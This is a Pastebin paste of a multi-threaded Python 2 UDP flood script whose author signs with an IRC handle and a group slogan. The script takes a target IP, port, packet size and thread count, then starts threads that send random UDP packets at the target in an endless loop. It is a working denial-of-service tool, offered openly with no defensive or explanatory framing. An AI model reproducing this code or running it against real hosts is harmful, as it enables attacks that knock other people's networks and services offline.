Advertisement
Anonymous_HL3

[Python] Python UDP Flooder multi-threaded

Apr 28th, 2015
213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.45 KB | None | 0 0
  1. #!/usr/bin/python
  2. import socket
  3. import threading
  4. import random
  5. import sys
  6.  
  7.  ############################################
  8.  #
  9.  # Author: sniker
  10.  # Contact: irc.eth0.info
  11.  #
  12.  # eth0 will prevail. || irc.eth0.info
  13.  #
  14.  ############################################
  15.  
  16. class attack(threading.Thread):
  17.      def __init__ (self, ip, port, psize):
  18.          threading.Thread.__init__(self)
  19.          self.ip = ip
  20.          self.port = port
  21.          self.psize = psize
  22.  
  23.      def run(self):
  24.          print "Thread initiated, flooding " + self.ip + ":" + str(self.port) + "."
  25.          sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  26.          bytes = random._urandom(self.psize)
  27.          while True:
  28.              sock.sendto(bytes,(self.ip, self.port))
  29.  
  30.  
  31. if len(sys.argv) < 2:
  32.      print "Usage: "+ sys.argv[0] +" IP PORT(optional, default random) PACKETSIZE(optional 0-65500 default 1024) THREADS(optional default 10)"
  33.      sys.exit()
  34.  
  35. try:
  36.      threads = sys.argv[4]
  37. except NameError:
  38.      threads = 10
  39. except IndexError:
  40.      threads = 10
  41.  
  42. try:
  43.      if int(sys.argv[3]) > 0 and int(sys.argv[3]) <= 65500:
  44.          psize = int(sys.argv[3])
  45.          print psize
  46.      else:
  47.          psize = 1024
  48. except IndexError:
  49.      psize = 1024
  50.  
  51.  
  52. for host in range(int(threads)):
  53.      try:
  54.          port = sys.argv[2]
  55.      except IndexError:
  56.          port = random.randrange(1, 65535, 2)
  57.      at = attack(sys.argv[1], int(port), int(psize))
  58.      at.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement